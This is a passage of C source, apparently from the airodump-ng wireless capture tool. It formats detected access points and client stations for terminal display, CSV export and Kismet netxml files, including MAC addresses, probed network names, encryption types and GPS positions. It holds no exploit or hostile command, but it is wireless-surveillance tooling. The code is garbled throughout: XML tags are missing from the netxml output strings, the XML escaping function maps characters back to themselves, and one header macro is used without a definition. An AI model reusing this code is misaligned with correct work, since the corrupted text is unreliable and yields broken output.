G.maxsize_essid_seen = strlen(strbuf); else // write spaces (32) memset( strbuf+strlen(strbuf), 32, (G.maxsize_essid_seen - strlen(strbuf)) ); if (ap_cur->manuf == NULL) ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); snprintf( strbuf + G.maxsize_essid_seen , sizeof(strbuf)-G.maxsize_essid_seen, " %s", ap_cur->manuf ); } // write spaces (32) until the end of column memset( strbuf+strlen(strbuf), 32, ws_col - (columns_ap - 4 ) ); // end the string at the end of the column strbuf[ws_col - (columns_ap - 4)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } /* print some informations about each detected station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); } if(G.show_sta) { memcpy( strbuf, " BSSID STATION " " PWR Rate Lost Frames Probes", columns_sta ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } if( nlines >= (ws_row-1) ) return; st_cur = G.st_end; if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) { textstyle(TEXT_REVERSE); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; if(G.start_print_sta > num_sta) continue; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( stderr, " (not associated) " ); else fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); fprintf( stderr, " %3d ", st_cur->power ); fprintf( stderr, " %2d", st_cur->rate_to/1000000 ); fprintf( stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' '); fprintf( stderr, "-%2d", st_cur->rate_from/1000000); fprintf( stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' '); fprintf( stderr, " %4d", st_cur->missed ); fprintf( stderr, " %8ld", st_cur->nb_pkt ); if( ws_col > (columns_sta - 6) ) { memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c%s", ( i > 0 ) ? ',' : ' ', st_cur->probes[i] ); n += ( 1 + strlen( st_cur->probes[i] ) ); if( n >= (int) sizeof( ssid_list ) ) break; } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ssid_list ); strbuf[ws_col - (columns_sta - 6)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); st_cur = st_cur->prev; } if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } } if(G.show_ack) { /* print some informations about each unknown station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memcpy( strbuf, " MAC " " CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER", columns_na ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); na_cur = G.na_1st; while( na_cur != NULL ) { if( time( NULL ) - na_cur->tlast > 120 ) { na_cur = na_cur->next; continue; } if( nlines >= (ws_row-1) ) return; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", na_cur->namac[0], na_cur->namac[1], na_cur->namac[2], na_cur->namac[3], na_cur->namac[4], na_cur->namac[5] ); fprintf( stderr, " %3d", na_cur->channel ); fprintf( stderr, " %3d", na_cur->power ); fprintf( stderr, " %6d", na_cur->ack ); fprintf( stderr, " %4d", na_cur->ackps ); fprintf( stderr, " %6d", na_cur->cts ); fprintf( stderr, " %6d", na_cur->rts_r ); fprintf( stderr, " %6d", na_cur->rts_t ); fprintf( stderr, " %6d", na_cur->other ); fprintf( stderr, "\n" ); na_cur = na_cur->next; } } } char * format_text_for_csv( const unsigned char * input, int len) { // Unix style encoding char * ret; int i, pos, contains_space_end; const char * hex_table = "0123456789ABCDEF"; if (len < 0) { return NULL; } if (len == 0 || input == NULL) { ret = (char*)malloc(1); ret[0] = 0; return ret; } pos = 0; contains_space_end = (input[0] == ' ') || input[len-1] == ' '; // Make sure to have enough memory for all that stuff ret = (char *)malloc((len*4)+1+2); if (contains_space_end) { ret[pos++] = '"'; } for (i=0; i < len; i++) { if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\' || input[i] == '"') { ret[pos++] = '\\'; } if (isprint(input[i])) { ret[pos++] = input[i]; } else if (input[i] == '\n' || input[i] == '\r' || input[i] == '\t') { ret[pos++] = (input[i] == '\n') ? 'n' : (input[i] == '\t') ? 't' : 'r'; } else { ret[pos++] = 'x'; ret[pos++] = hex_table[input[i]/16]; ret[pos++] = hex_table[input[i]%16]; } } if (contains_space_end) { ret[pos++] = '"'; } ret[pos++] = '\0'; ret = realloc(ret, pos); return ret; } int dump_write_csv( void ) { int i, n, probes_written; struct tm *ltime; struct AP_info *ap_cur; struct ST_info *st_cur; char * temp; if (! G.record_data || !G.output_format_csv) return 0; fseek( G.f_txt, 0, SEEK_SET ); fprintf( G.f_txt, "\r\nBSSID, First time seen, Last time seen, channel, Speed, " "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" ); ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); ltime = localtime( &ap_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &ap_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed ); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " ); else { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, " WPA2" ); if( ap_cur->security & STD_WPA ) fprintf( G.f_txt, " WPA" ); if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, " WEP" ); if( ap_cur->security & STD_OPN ) fprintf( G.f_txt, " OPN" ); } fprintf( G.f_txt, ","); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_txt, " CCMP"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_txt, " WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_txt, " TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_txt, " WEP40"); if( ap_cur->security & ENC_WEP ) fprintf( G.f_txt, " WEP"); } fprintf( G.f_txt, ","); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & AUTH_MGT ) fprintf( G.f_txt, " MGT"); if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "SKA"); else fprintf( G.f_txt, "PSK"); } if( ap_cur->security & AUTH_OPN ) fprintf( G.f_txt, " OPN"); } fprintf( G.f_txt, ", %3d, %8ld, %8ld, ", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data ); fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length); temp = format_text_for_csv(ap_cur->essid, ap_cur->ssid_length); fprintf( G.f_txt, "%s, ", temp ); free(temp); if(ap_cur->key != NULL) { for(i=0; i<(int)strlen(ap_cur->key); i++) { fprintf( G.f_txt, "%02X", ap_cur->key[i]); if(i<(int)(strlen(ap_cur->key)-1)) fprintf( G.f_txt, ":"); } } fprintf( G.f_txt, "\r\n"); ap_cur = ap_cur->next; } fprintf( G.f_txt, "\r\nStation MAC, First time seen, Last time seen, " "Power, # packets, BSSID, Probed ESSIDs\r\n" ); st_cur = G.st_1st; while( st_cur != NULL ) { ap_cur = st_cur->base; if( ap_cur->nb_pkt < 2 ) { st_cur = st_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); ltime = localtime( &st_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &st_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%3d, %8ld, ", st_cur->power, st_cur->nb_pkt ); if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( G.f_txt, "(not associated) ," ); else fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); probes_written = 0; for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->ssid_length[i] == 0 ) continue; temp = format_text_for_csv((unsigned char *)st_cur->probes[i], st_cur->ssid_length[i]); if( probes_written == 0) { fprintf( G.f_txt, "%s", temp); probes_written = 1; } else { fprintf( G.f_txt, ",%s", temp); } free(temp); } fprintf( G.f_txt, "\r\n" ); st_cur = st_cur->next; } fprintf( G.f_txt, "\r\n" ); fflush( G.f_txt ); return 0; } char * sanitize_xml(unsigned char * text, int length) { int i; size_t len, current_text_len; unsigned char * pos; char * newtext = NULL; if (text != NULL && length > 0) { len = 8 * length; newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space pos = text; for (i = 0; i < length; ++i, ++pos) { switch (*pos) { case '&': strncat(newtext, "&", len); break; case '<': strncat(newtext, "<", len); break; case '>': strncat(newtext, ">", len); break; case '\'': strncat(newtext, "'", len); break; case '"': strncat(newtext, """, len); break; case '\r': strncat(newtext, " ", len); break; case '\n': strncat(newtext, " ", len); break; default: if ( isprint((int)(*pos)) ) { newtext[strlen(newtext)] = *pos; } else { strncat(newtext, "&#x", len); current_text_len = strlen(newtext); snprintf(newtext + current_text_len, len - current_text_len + 1, "%4x", *pos); strncat(newtext, ";", len); } break; } } newtext = (char *) realloc(newtext, strlen(newtext) + 1); } return newtext; } #define OUI_STR_SIZE 8 #define MANUF_SIZE 128 char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { char oui[OUI_STR_SIZE + 1]; char *manuf; //char *buffer_manuf; char * manuf_str; struct oui *ptr; FILE *fp; char buffer[BUFSIZ]; char temp[OUI_STR_SIZE + 1]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; int found = 0; if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) { perror("calloc failed"); return NULL; } snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 ); if (G.manufList != NULL) { // Search in the list ptr = G.manufList; while (ptr != NULL) { found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE); if (found) { memcpy(manuf, ptr->manuf, MANUF_SIZE); break; } ptr = ptr->next; } } else { // If the file exist, then query it each time we need to get a manufacturer. fp = open_oui_file(); if (fp != NULL) { memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (strstr(buffer, "(hex)") == NULL) { continue; } memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] ); found = !memcmp(temp, oui, strlen(oui)); if (found) { manuf_str = get_manufacturer_from_string(buffer); if (manuf_str != NULL) { snprintf(manuf, MANUF_SIZE, "%s", manuf_str); free(manuf_str); } break; } } memset(buffer, 0x00, sizeof(buffer)); } fclose(fp); } } // Not found, use "Unknown". if (!found || *manuf == '\0') { memcpy(manuf, "Unknown", 7); manuf[strlen(manuf)] = '\0'; } manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char)); return manuf; } #undef OUI_STR_SIZE #undef MANUF_SIZE #define KISMET_NETXML_HEADER_BEGIN "\n\n\n\n\n" #define KISMET_NETXML_TRAILER "" #define TIME_STR_LENGTH 255 int dump_write_kismet_netxml_client_info(struct ST_info *client, int client_no) { char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * manuf; int client_max_rate, average_power, i, nb_probes_written, is_unassociated; char * essid = NULL; if (client == NULL || client_no < 1) { return 1; } is_unassociated = (client->base == NULL || memcmp(client->base->bssid, BROADCAST, 6) == 0); strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\t\n", client_no, (is_unassociated) ? "tods" : "established", first_time, last_time ); fprintf( G.f_kis_xml, "\t\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", client->stmac[0], client->stmac[1], client->stmac[2], client->stmac[3], client->stmac[4], client->stmac[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)client->manuf, strlen(client->manuf)); fprintf(G.f_kis_xml, "\t\t\t%s\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* SSID item, aka Probes */ nb_probes_written = 0; for( i = 0; i < NB_PRB; i++ ) { if( client->probes[i][0] == '\0' ) continue; fprintf( G.f_kis_xml, "\t\t\t\n", first_time, last_time); fprintf( G.f_kis_xml, "\t\t\t\tProbe Request\n" "\t\t\t\t54.000000\n" "\t\t\t\t1\n" "\t\t\t\tNone\n"); essid = sanitize_xml((unsigned char *)client->probes[i], client->ssid_length[i]); if (essid != NULL) { fprintf( G.f_kis_xml, "\t\t\t\t%s\n", essid); free(essid); } fprintf( G.f_kis_xml, "\t\t\t\n"); ++nb_probes_written; } // Unassociated client with broadcast probes if (is_unassociated && nb_probes_written == 0) { fprintf( G.f_kis_xml, "\t\t\t\n", first_time, last_time); fprintf( G.f_kis_xml, "\t\t\t\tProbe Request\n" "\t\t\t\t54.000000\n" "\t\t\t\t1\n" "\t\t\t\tNone\n"); fprintf( G.f_kis_xml, "\t\t\t\n"); } /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t\t%d\n", client->channel); /* Rate: inaccurate because it's the latest rate seen */ client_max_rate = ( client->rate_from > client->rate_to ) ? client->rate_from : client->rate_to ; fprintf(G.f_kis_xml, "\t\t\t%.6f\n", client_max_rate / #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000000) ); #else 1000000.0 ); #endif /* Those 2 lines always stays the same */ fprintf(G.f_kis_xml, "\t\t\tIEEE 802.11b+\n"); fprintf(G.f_kis_xml, "\t\t\tCCK\n"); /* Packets */ fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t%ld\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\n", client->nb_pkt ); /* SNR information */ average_power = (client->power == -1) ? 0 : client->power; fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t1024\n" "\t\t\t\t1024\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\t%.6f\n" "\t\t\t\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } fprintf(G.f_kis_xml, "\t\t\n" ); return 0; } #define NETXML_ENCRYPTION_TAG "%s%s\n" int dump_write_kismet_netxml( void ) { int network_number, average_power, client_max_rate, max_power, client_nbr, unused; struct AP_info *ap_cur; struct ST_info *st_cur; char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * manuf; char * essid = NULL; if (! G.record_data || !G.output_format_kismet_netxml) return 0; fseek( G.f_kis_xml, 0, SEEK_SET ); /* Header and airodump-ng start time */ fprintf( G.f_kis_xml, "%s%s%s", KISMET_NETXML_HEADER_BEGIN, G.airodump_start_time, KISMET_NETXML_HEADER_END ); ap_cur = G.ap_1st; network_number = 0; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->next; continue; } ++network_number; // Network Number strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\tBeacon\n" ); fprintf(G.f_kis_xml, "\t\t\t%d.000000\n", ap_cur->max_speed ); fprintf(G.f_kis_xml, "\t\t\t%ld\n", ap_cur->nb_bcn ); fprintf(G.f_kis_xml, "\t\t\t%d\n", 10 ); // Encryption if( ap_cur->security & STD_OPN ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None" ); else if( ap_cur->security & STD_WEP ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP" ); else if( ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA ) { if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP" ); if( ap_cur->security & AUTH_MGT ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+MGT" ); // Not a valid value: NetXML does not have a value for WPA Enterprise if( ap_cur->security & AUTH_PSK ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK" ); if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+AES-CCM" ); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+AES-OCB" ); } else if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104" ); else if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40" ); /* ESSID */ fprintf(G.f_kis_xml, "\t\t\t", (ap_cur->essid[0] == 0) ? "true" : "false"); essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length); if (essid != NULL) { fprintf(G.f_kis_xml, "%s", essid); free(essid); } fprintf(G.f_kis_xml, "\n"); /* End of SSID tag */ fprintf(G.f_kis_xml, "\t\t\n"); /* BSSID */ fprintf( G.f_kis_xml, "\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)ap_cur->manuf, strlen(ap_cur->manuf)); fprintf(G.f_kis_xml, "\t\t%s\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d\n", (ap_cur->channel) == -1 ? 0 : ap_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d %ld\n", (ap_cur->channel) == -1 ? 0 : getFrequencyFromChannel(ap_cur->channel), //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What about 5.5Mbit */ fprintf(G.f_kis_xml, "\t\t%d\n", (ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000); /* Those 2 lines always stays the same */ fprintf(G.f_kis_xml, "\t\tIEEE 802.11b+\n"); fprintf(G.f_kis_xml, "\t\tCCK\n"); /* Packets */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%ld\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\n", ap_cur->nb_data, ap_cur->nb_data, //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What does that field mean? Is it the total size of data? */ fprintf(G.f_kis_xml, "\t\t0\n"); /* Client information */ st_cur = G.st_1st; client_nbr = 0; while ( st_cur != NULL ) { /* Check if the station is associated to the current AP */ if ( memcmp( st_cur->stmac, BROADCAST, 6 ) != 0 && st_cur->base != NULL && memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) == 0 ) { dump_write_kismet_netxml_client_info(st_cur, ++client_nbr); } /* Next client */ st_cur = st_cur->next; } /* SNR information */ average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power; max_power = (ap_cur->best_power == -1) ? average_power : ap_cur->best_power; fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t1024\n" "\t\t\t1024\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\n", average_power, average_power, average_power, max_power, max_power ); /* GPS Coordinates */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", ap_cur->gps_loc_min[0], ap_cur->gps_loc_min[1], ap_cur->gps_loc_min[2], ap_cur->gps_loc_min[3], ap_cur->gps_loc_max[0], ap_cur->gps_loc_max[1], ap_cur->gps_loc_max[2], ap_cur->gps_loc_max[3], ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2], /* Can the "best" be considered as average??? */ ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2] ); } /* BSS Timestamp */ fprintf(G.f_kis_xml, "\t\t%llu\n", ap_cur->timestamp); /* Trailing information */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\n"); /* Closing tag for the current wireless network */ fprintf(G.f_kis_xml, "\t\n"); //-------- End of XML ap_cur = ap_cur->next; } /* Write all unassociated stations */ st_cur = G.st_1st; while (st_cur != NULL) { /* If not associated and not Broadcast Mac */ if ( st_cur->base == NULL || memcmp(st_cur->base->bssid, BROADCAST, 6) == 0 ) { ++network_number; // Network Number /* Write new network information */ strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\n", first_time, last_time); /* BSSID */ fprintf( G.f_kis_xml, "\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)st_cur->manuf, strlen(st_cur->manuf)); fprintf(G.f_kis_xml, "\t\t%s\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d\n", st_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d %ld\n", getFrequencyFromChannel(st_cur->channel), st_cur->nb_pkt ); /* Rate: inaccurate because it's the latest rate seen */ client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ; fprintf(G.f_kis_xml, "\t\t%.6f\n", client_max_rate / #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000000) ); #else 1000000.0 ); #endif fprintf(G.f_kis_xml, "\t\tIEEE 802.11b+\n"); fprintf(G.f_kis_xml, "\t\tCCK\n"); /* Packets */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\n", st_cur->nb_pkt); /* XXX: What does that field mean? Is it the total size of data? */ fprintf(G.f_kis_xml, "\t\t0\n"); /* SNR information */ average_power = (st_cur->power == -1) ? 0 : st_cur->power; fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t1024\n" "\t\t\t1024\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" 